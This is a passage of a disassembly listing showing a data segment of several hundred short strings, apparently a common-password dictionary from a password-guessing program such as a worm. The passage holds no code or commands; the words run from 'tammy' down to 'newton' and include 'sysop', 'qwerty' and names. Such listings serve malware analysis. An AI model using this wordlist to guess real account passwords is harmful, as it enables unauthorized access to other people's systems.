aTammy		db 'tammy',0            ; DATA XREF: seg002:004248C4o
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg002:004248C0o
		align 4
aTami		db 'tami',0             ; DATA XREF: seg002:004248BCo
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg002:004248B8o
		align 4
aTall		db 'tall',0             ; DATA XREF: seg002:004248B4o
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg002:004248B0o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: seg002:004248ACo
aSysop		db 'sysop',0            ; DATA XREF: seg002:004248A8o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg002:004248A4o
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg002:004248A0o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg002:0042489Co
		align 4
aSword		db 'sword',0            ; DATA XREF: seg002:00424898o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg002:00424894o
		align 4
aSweat		db 'sweat',0            ; DATA XREF: seg002:00424890o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg002:0042488Co
aSuzie		db 'suzie',0            ; DATA XREF: seg002:00424888o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg002:00424884o
aSusie		db 'susie',0            ; DATA XREF: seg002:00424880o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg002:0042487Co
aSusan		db 'susan',0            ; DATA XREF: seg002:00424878o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg002:00424874o
aSurfer		db 'surfer',0           ; DATA XREF: seg002:00424870o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg002:0042486Co
		align 10h
aSupport	db 'support',0          ; DATA XREF: seg002:00424868o
aSupervis	db 'supervis',0         ; DATA XREF: seg002:00424864o
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg002:00424860o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: seg002:0042485Co
		align 4
aSuperson	db 'superson',0         ; DATA XREF: seg002:00424858o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg002:00424854o
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg002:00424850o
		align 4
aSummer		db 'summer',0           ; DATA XREF: seg002:0042484Co
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg002:00424848o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg002:00424844o
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg002:00424840o
		align 10h
aSuccess	db 'success',0          ; DATA XREF: seg002:0042483Co
aSubway		db 'subway',0           ; DATA XREF: seg002:00424838o
		align 10h
aSubscrib	db 'subscrib',0         ; DATA XREF: seg002:00424834o
		align 4
aStuttgar	db 'stuttgar',0         ; DATA XREF: seg002:00424830o
		align 4
aStrip		db 'strip',0            ; DATA XREF: seg002:00424828o
		align 10h
aString		db 'string',0           ; DATA XREF: seg002:00424824o
		align 4
aStreetfi	db 'streetfi',0         ; DATA XREF: seg002:00424820o
		align 4
aStratfor	db 'stratfor',0         ; DATA XREF: seg002:0042481Co
		align 10h
aStrangle	db 'strangle',0         ; DATA XREF: seg002:00424818o
		align 4
aStrange	db 'strange',0          ; DATA XREF: seg002:00424814o
aStones		db 'stones',0           ; DATA XREF: seg002:00424810o
		align 4
aStoned		db 'stoned',0           ; DATA XREF: seg002:0042480Co
		align 4
aStoneage	db 'stoneage',0         ; DATA XREF: seg002:00424808o
		align 10h
aSteve		db 'steve',0            ; DATA XREF: seg002:00424804o
		align 4
aStereo		db 'stereo',0           ; DATA XREF: seg002:00424800o
		align 10h
aStephani	db 'stephani',0         ; DATA XREF: seg002:004247FCo
		align 4
aSteph		db 'steph',0            ; DATA XREF: seg002:004247F8o
		align 4
aSteel		db 'steel',0            ; DATA XREF: seg002:004247F4o
		align 4
aSteal		db 'steal',0            ; DATA XREF: seg002:004247F0o
		align 4
aSteak		db 'steak',0            ; DATA XREF: seg002:004247ECo
		align 4
aStarwars	db 'starwars',0         ; DATA XREF: seg002:004247E8o
		align 4
aStartup	db 'startup',0          ; DATA XREF: seg002:004247E4o
aStartrek	db 'startrek',0         ; DATA XREF: seg002:004247E0o
		align 4
aStart		db 'start',0            ; DATA XREF: seg000:0040AA68o
					; seg002:004247DCo
		align 4
aStarship	db 'starship',0         ; DATA XREF: seg002:004247D8o
		align 10h
aStar		db 'star',0             ; DATA XREF: seg002:004247D4o
		align 4
aStacy		db 'stacy',0            ; DATA XREF: seg002:004247D0o
		align 10h
aStacie		db 'stacie',0           ; DATA XREF: seg002:004247CCo
		align 4
aStaci		db 'staci',0            ; DATA XREF: seg002:004247C8o
		align 10h
aStacey		db 'stacey',0           ; DATA XREF: seg002:004247C4o
		align 4
aSr71		db 'sr71',0             ; DATA XREF: seg002:004247C0o
		align 10h
aSquires	db 'squires',0          ; DATA XREF: seg002:004247BCo
aSpunk		db 'spunk',0            ; DATA XREF: seg002:004247B8o
		align 10h
aSpringer	db 'springer',0         ; DATA XREF: seg002:004247B4o
		align 4
aSpring		db 'spring',0           ; DATA XREF: seg002:004247B0o
		align 4
aSpred		db 'spred',0            ; DATA XREF: seg002:004247ACo
		align 4
aSpit		db 'spit',0             ; DATA XREF: seg002:004247A8o
		align 4
aSpiderma	db 'spiderma',0         ; DATA XREF: seg002:004247A4o
		align 10h
aSpider		db 'spider',0           ; DATA XREF: seg002:004247A0o
		align 4
aSpice		db 'spice',0            ; DATA XREF: seg002:0042479Co
		align 10h
aSpell		db 'spell',0            ; DATA XREF: seg002:00424798o
		align 4
aSpear		db 'spear',0            ; DATA XREF: seg002:00424794o
		align 10h
aSparrows	db 'sparrows',0         ; DATA XREF: seg002:00424790o
		align 4
aSpaceshi	db 'spaceshi',0         ; DATA XREF: seg002:0042478Co
		align 4
aSouth		db 'south',0            ; DATA XREF: seg002:00424788o
		align 10h
aSource		db 'source',0           ; DATA XREF: seg002:00424784o
		align 4
aSossina	db 'sossina',0          ; DATA XREF: seg002:00424780o
aSonya		db 'sonya',0            ; DATA XREF: seg002:0042477Co
		align 4
aSonic		db 'sonic',0            ; DATA XREF: seg002:00424778o
		align 10h
aSonia		db 'sonia',0            ; DATA XREF: seg002:00424774o
		align 4
aSondra		db 'sondra',0           ; DATA XREF: seg002:00424770o
		align 10h
aSomebody	db 'somebody',0         ; DATA XREF: seg002:0042476Co
		align 4
aSoftware	db 'software',0         ; DATA XREF: seg002:00424768o
		align 4
aSoft		db 'soft',0             ; DATA XREF: seg002:00424764o
		align 10h
aSodomy		db 'sodomy',0           ; DATA XREF: seg002:00424760o
		align 4
aSocrates	db 'socrates',0         ; DATA XREF: seg002:0042475Co
		align 4
aSocial		db 'social',0           ; DATA XREF: seg002:00424758o
		align 4
aSoap		db 'soap',0             ; DATA XREF: seg002:00424754o
		align 4
aSnoopy		db 'snoopy',0           ; DATA XREF: seg002:00424750o
		align 4
aSnatch		db 'snatch',0           ; DATA XREF: seg002:0042474Co
		align 4
aSnake		db 'snake',0            ; DATA XREF: seg002:00424748o
		align 4
aSnafu		db 'snafu',0            ; DATA XREF: seg002:00424744o
		align 4
aSnach		db 'snach',0            ; DATA XREF: seg002:00424740o
		align 4
aSmut		db 'smut',0             ; DATA XREF: seg002:0042473Co
		align 4
aSmtp		db 'smtp',0             ; DATA XREF: seg002:00424738o
		align 4
aSmother	db 'smother',0          ; DATA XREF: seg002:00424734o
aSmooch		db 'smooch',0           ; DATA XREF: seg002:00424730o
		align 4
aSmiles		db 'smiles',0           ; DATA XREF: seg002:0042472Co
		align 4
aSmile		db 'smile',0            ; DATA XREF: seg002:00424728o
		align 4
aSmart		db 'smart',0            ; DATA XREF: seg002:00424724o
		align 4
aSmall		db 'small',0            ; DATA XREF: seg002:00424720o
		align 4
aSlut		db 'slut',0             ; DATA XREF: seg002:0042471Co
		align 4
aSlow		db 'slow',0             ; DATA XREF: seg002:00424718o
		align 4
aSliders	db 'sliders',0          ; DATA XREF: seg002:00424714o
aSlick		db 'slick',0            ; DATA XREF: seg002:00424710o
		align 4
aSlave		db 'slave',0            ; DATA XREF: seg002:0042470Co
		align 4
aSkull		db 'skull',0            ; DATA XREF: seg002:00424708o
		align 4
aSite		db 'site',0             ; DATA XREF: seg002:00424704o
		align 4
aSingle		db 'single',0           ; DATA XREF: seg002:00424700o
		align 4
aSinger		db 'singer',0           ; DATA XREF: seg002:004246FCo
		align 4
aSimulati	db 'simulati',0         ; DATA XREF: seg002:004246F8o
		align 10h
aSimpsons	db 'simpsons',0         ; DATA XREF: seg002:004246F4o
		align 4
aSimple		db 'simple',0           ; DATA XREF: seg002:004246F0o
		align 4
aSimon		db 'simon',0            ; DATA XREF: seg002:004246ECo
		align 4
aSimcity	db 'simcity',0          ; DATA XREF: seg002:004246E8o
aSilver		db 'silver',0           ; DATA XREF: seg002:004246E4o
		align 4
aSignatur	db 'signatur',0         ; DATA XREF: seg002:004246E0o
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg002:004246DCo
		align 10h
aSick		db 'sick',0             ; DATA XREF: seg002:004246D8o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:004246D4o
aShort		db 'short',0            ; DATA XREF: seg002:004246D0o
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg002:004246CCo
aShiva		db 'shiva',0            ; DATA XREF: seg002:004246C8o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:004246C4o
aShit		db 'shit',0             ; DATA XREF: seg002:004246C0o
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg002:004246BCo
aShift		db 'shift',0            ; DATA XREF: seg002:004246B8o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg002:004246B4o
		align 10h
aShell		db 'shell',0            ; DATA XREF: seg002:004246B0o
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:004246ACo
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:004246A8o
		align 4
aSharon		db 'sharon',0           ; DATA XREF: seg002:004246A4o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:004246A0o
		align 4
aShark		db 'shark',0            ; DATA XREF: seg002:0042469Co
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:00424698o
		align 4
aShannon	db 'shannon',0          ; DATA XREF: seg002:00424694o
aSexy		db 'sexy',0             ; DATA XREF: seg002:00424690o
		align 4
aSesame		db 'sesame',0           ; DATA XREF: seg002:0042468Co
		align 4
aService	db 'service',0          ; DATA XREF: seg002:00424688o
					; seg002:00425250o
aSerial		db 'serial',0           ; DATA XREF: seg002:00424684o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:00424680o
		align 10h
aSentry		db 'sentry',0           ; DATA XREF: seg002:0042467Co
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:00424678o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:00424674o
		align 4
aSega		db 'sega',0             ; DATA XREF: seg002:00424670o
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:0042466Co
		align 4
aSecurity	db 'security',0         ; DATA XREF: seg002:00424668o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg002:00424664o
		align 10h
aScout		db 'scout',0            ; DATA XREF: seg002:00424660o
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg002:0042465Co
		align 10h
aScott		db 'scott',0            ; DATA XREF: seg002:00424658o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:00424654o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:00424650o
		align 4
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:0042464Co
aSchool		db 'school',0           ; DATA XREF: seg002:00424648o
		align 10h
aScheme		db 'scheme',0           ; DATA XREF: seg002:00424644o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg002:00424640o
aSaxon		db 'saxon',0            ; DATA XREF: seg002:0042463Co
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg002:00424638o
		align 10h
aSaturday	db 'saturday',0         ; DATA XREF: seg002:00424634o
		align 4
aSarah		db 'sarah',0            ; DATA XREF: seg002:00424630o
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:0042462Co
		align 4
aSandy		db 'sandy',0            ; DATA XREF: seg002:00424628o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:00424624o
		align 4
aSample		db 'sample',0           ; DATA XREF: seg002:00424620o
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:0042461Co
		align 10h
aSalt		db 'salt',0             ; DATA XREF: seg002:00424618o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg002:00424614o
		align 10h
aSalami		db 'salami',0           ; DATA XREF: seg002:00424610o
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg002:0042460Co
		align 10h
aRuth		db 'ruth',0             ; DATA XREF: seg002:00424608o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg002:00424604o
		align 10h
aRunning	db 'running',0          ; DATA XREF: seg002:00424600o
aRules		db 'rules',0            ; DATA XREF: seg002:004245FCo
		align 10h
aRude		db 'rude',0             ; DATA XREF: seg002:004245F8o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg002:004245F4o
		align 10h
aRuben		db 'ruben',0            ; DATA XREF: seg002:004245F0o
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg002:004245ECo
		align 10h
aRough		db 'rough',0            ; DATA XREF: seg002:004245E8o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg002:004245E4o
		align 10h
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:004245E0o
		align 4
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:004245DCo
aRose		db 'rose',0             ; DATA XREF: seg002:004245D8o
		align 4
aRonald		db 'ronald',0           ; DATA XREF: seg002:004245D4o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:004245D0o
aRomeo		db 'romeo',0            ; DATA XREF: seg002:004245CCo
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:004245C8o
		align 4
aRolex		db 'rolex',0            ; DATA XREF: seg002:004245C4o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:004245C0o
		align 4
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:004245BCo
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg002:004245B8o
		align 10h
aRock		db 'rock',0             ; DATA XREF: seg002:004245B4o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:004245B0o
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:004245ACo
		align 10h
aRobyn		db 'robyn',0            ; DATA XREF: seg002:004245A8o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg002:004245A4o
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:004245A0o
		align 4
aRobin		db 'robin',0            ; DATA XREF: seg002:0042459Co
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:00424598o
		align 4
aRoach		db 'roach',0            ; DATA XREF: seg002:00424594o
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:00424590o
		align 4
aRipple		db 'ripple',0           ; DATA XREF: seg002:0042458Co
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:00424588o
		align 4
aRing		db 'ring',0             ; DATA XREF: seg002:00424584o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:00424580o
		align 10h
aRight		db 'right',0            ; DATA XREF: seg002:0042457Co
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:00424578o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:00424574o
		align 4
aRich		db 'rich',0             ; DATA XREF: seg002:00424570o
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:0042456Co
		align 4
aReveal		db 'reveal',0           ; DATA XREF: seg002:00424568o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:00424564o
		align 10h
aRepublic	db 'republic',0         ; DATA XREF: seg002:00424560o
		align 4
aReport		db 'report',0           ; DATA XREF: seg002:0042455Co
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:00424558o
		align 4
aReno		db 'reno',0             ; DATA XREF: seg002:00424554o
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:00424550o
		align 4
aRemote		db 'remote',0           ; DATA XREF: seg002:0042454Co
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:00424548o
aRegional	db 'regional',0         ; DATA XREF: seg002:00424544o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg002:00424540o
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:0042453Co
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:00424538o
aRecord		db 'record',0           ; DATA XREF: seg002:00424534o
		align 4
aRebel		db 'rebel',0            ; DATA XREF: seg002:00424530o
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:0042452Co
aRebal		db 'rebal',0            ; DATA XREF: seg002:00424528o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:00424524o
		align 4
aReam		db 'ream',0             ; DATA XREF: seg002:00424520o
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:0042451Co
		align 4
aReality	db 'reality',0          ; DATA XREF: seg002:00424518o
aReagan		db 'reagan',0           ; DATA XREF: seg002:00424514o
		align 4
aRazor		db 'razor',0            ; DATA XREF: seg002:00424510o
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:0042450Co
		align 4
aRape		db 'rape',0             ; DATA XREF: seg002:00424508o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:00424500o
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:004244FCo
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:004244F8o
aRain		db 'rain',0             ; DATA XREF: seg002:004244F4o
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg002:004244F0o
		align 10h
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:004244ECo
		align 4
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:004244E8o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg002:004244E4o
		align 10h
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:004244E0o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:004244DCo
					; seg002:00425234o
		align 10h
aQwert		db 'qwert',0            ; DATA XREF: seg002:004244D8o
					; seg002:00425230o
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg002:004244D4o
		align 10h
aPussy		db 'pussy',0            ; DATA XREF: seg002:004244D0o
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg002:004244CCo
		align 10h
aPunk		db 'punk',0             ; DATA XREF: seg002:004244C8o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg002:004244C4o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:004244C0o
		align 4
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:004244BCo
aPuke		db 'puke',0             ; DATA XREF: seg002:004244B8o
		align 4
aPuck		db 'puck',0             ; DATA XREF: seg002:004244B4o
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:004244B0o
		align 4
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:004244ACo
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg002:004244A8o
		align 10h
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:004244A4o
		align 4
aProtect	db 'protect',0          ; DATA XREF: seg002:004244A0o
aPrompt		db 'prompt',0           ; DATA XREF: seg002:0042449Co
		align 4
aProgram	db 'program',0          ; DATA XREF: seg002:00424498o
aProfile	db 'profile',0          ; DATA XREF: seg002:00424494o
aProfesso	db 'professo',0         ; DATA XREF: seg002:00424490o
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg002:0042448Co
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:00424488o
aPrivs		db 'privs',0            ; DATA XREF: seg002:00424484o
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:00424480o
aPriv		db 'priv',0             ; DATA XREF: seg002:0042447Co
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:00424478o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:00424474o
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg002:00424470o
		align 10h
aPresto		db 'presto',0           ; DATA XREF: seg002:0042446Co
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg002:00424468o
aPrecious	db 'precious',0         ; DATA XREF: seg002:00424464o
		align 4
aPraise		db 'praise',0           ; DATA XREF: seg002:00424460o
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:0042445Co
		align 4
aPoster		db 'poster',0           ; DATA XREF: seg002:00424458o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:00424454o
		align 4
aPorsche	db 'porsche',0          ; DATA XREF: seg002:00424450o
aPorno		db 'porno',0            ; DATA XREF: seg002:0042444Co
		align 4
aPorn		db 'porn',0             ; DATA XREF: seg002:00424448o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:00424444o
		align 4
aPoor		db 'poor',0             ; DATA XREF: seg002:00424440o
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:0042443Co
		align 4
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:00424438o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:00424434o
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:00424430o
		align 4
aPolice		db 'police',0           ; DATA XREF: seg002:0042442Co
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:00424428o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:00424424o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg002:00424420o
		align 10h
aPlover		db 'plover',0           ; DATA XREF: seg002:0042441Co
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:00424418o
aPlane		db 'plane',0            ; DATA XREF: seg002:00424414o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg002:00424410o
		align 10h
aPiss		db 'piss',0             ; DATA XREF: seg002:0042440Co
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg002:00424408o
aPimp		db 'pimp',0             ; DATA XREF: seg002:00424404o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg002:00424400o
		align 10h
aPick		db 'pick',0             ; DATA XREF: seg002:004243FCo
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg002:004243F8o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: seg002:004243F4o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg002:004243F0o
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: seg002:004243ECo
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg002:004243E8o
		align 10h
aPhone		db 'phone',0            ; DATA XREF: seg002:004243E4o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:004243E0o
aPhilip		db 'philip',0           ; DATA XREF: seg002:004243DCo
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg002:004243D8o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: seg002:004243D4o
		align 4
aPete		db 'pete',0             ; DATA XREF: seg002:004243D0o
		align 10h
aPervert	db 'pervert',0          ; DATA XREF: seg002:004243CCo
aPersona	db 'persona',0          ; DATA XREF: seg002:004243C8o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:004243C4o
		align 4
aPermit		db 'permit',0           ; DATA XREF: seg002:004243C0o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:004243BCo
aPercolat	db 'percolat',0         ; DATA XREF: seg002:004243B8o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg002:004243B4o
		align 10h
aPeoria		db 'peoria',0           ; DATA XREF: seg002:004243B0o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg002:004243ACo
aPenthous	db 'penthous',0         ; DATA XREF: seg002:004243A8o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:004243A4o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:004243A0o
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:0042439Co
aPenis		db 'penis',0            ; DATA XREF: seg002:00424398o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:00424394o
aPenelope	db 'penelope',0         ; DATA XREF: seg002:00424390o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg002:0042438Co
		align 10h
aPecker		db 'pecker',0           ; DATA XREF: seg002:00424388o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:00424384o
aPaula		db 'paula',0            ; DATA XREF: seg002:00424380o
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg002:0042437Co
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: seg002:00424378o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:00424374o
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:00424370o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: seg002:0042436Co
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg002:00424368o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: seg002:00424364o
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg002:00424360o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: seg002:0042435Co
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg002:00424358o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:00424354o
		align 4
aPaint		db 'paint',0            ; DATA XREF: seg002:00424350o
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:0042434Co
		align 10h
aPacker		db 'packer',0           ; DATA XREF: seg002:00424348o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg002:00424344o
aPacific	db 'pacific',0          ; DATA XREF: seg002:00424340o
aOxford		db 'oxford',0           ; DATA XREF: seg002:0042433Co
		align 10h
aOutside	db 'outside',0          ; DATA XREF: seg002:00424338o
aOutput		db 'output',0           ; DATA XREF: seg002:00424334o
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:00424330o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:0042432Co
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:00424328o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: seg002:00424324o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:00424320o
		align 4
aOrient		db 'orient',0           ; DATA XREF: seg002:0042431Co
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:00424318o
		align 4
aOperator	db 'operator',0         ; DATA XREF: seg002:00424314o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:00424310o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:0042430Co
		align 10h
aOpening	db 'opening',0          ; DATA XREF: seg002:00424308o
aOmega		db 'omega',0            ; DATA XREF: seg002:00424300o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: seg002:004242FCo
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:004242F8o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:004242F4o
		align 4
aOkay		db 'okay',0             ; DATA XREF: seg002:004242F0o
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:004242ECo
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:004242E8o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:004242E4o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:004242E0o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:004242DCo
aNuts		db 'nuts',0             ; DATA XREF: seg002:004242D8o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:004242D4o
		align 4
aNumber		db 'number',0           ; DATA XREF: seg002:004242D0o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: seg002:004242CCo
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg002:004242C8o
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: seg002:004242C4o
		align 4
aNude		db 'nude',0             ; DATA XREF: seg002:004242C0o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:004242BCo
aNoxious	db 'noxious',0          ; DATA XREF: seg002:004242B8o
aNovember	db 'november',0         ; DATA XREF: seg002:004242B4o
		align 4
aNovel		db 'novel',0            ; DATA XREF: seg002:004242B0o
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:004242ACo
		align 4
aNoth		db 'noth',0             ; DATA XREF: seg002:004242A8o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:004242A4o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: seg002:004242A0o
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:0042429Co
		align 4
aNobody		db 'nobody',0           ; DATA XREF: seg002:00424298o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:00424294o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:00424290o
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:0042428Co
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:00424288o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:00424284o
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:00424280o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:0042427Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg002:00424278o
		align 10h
aNice		db 'nice',0             ; DATA XREF: seg002:00424274o
		align 4
aNext		db 'next',0             ; DATA XREF: seg002:00424270o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: seg002:0042426Co
aNewton		db 'newton',0           ; DATA XREF: seg002:00424268o
		align 10h
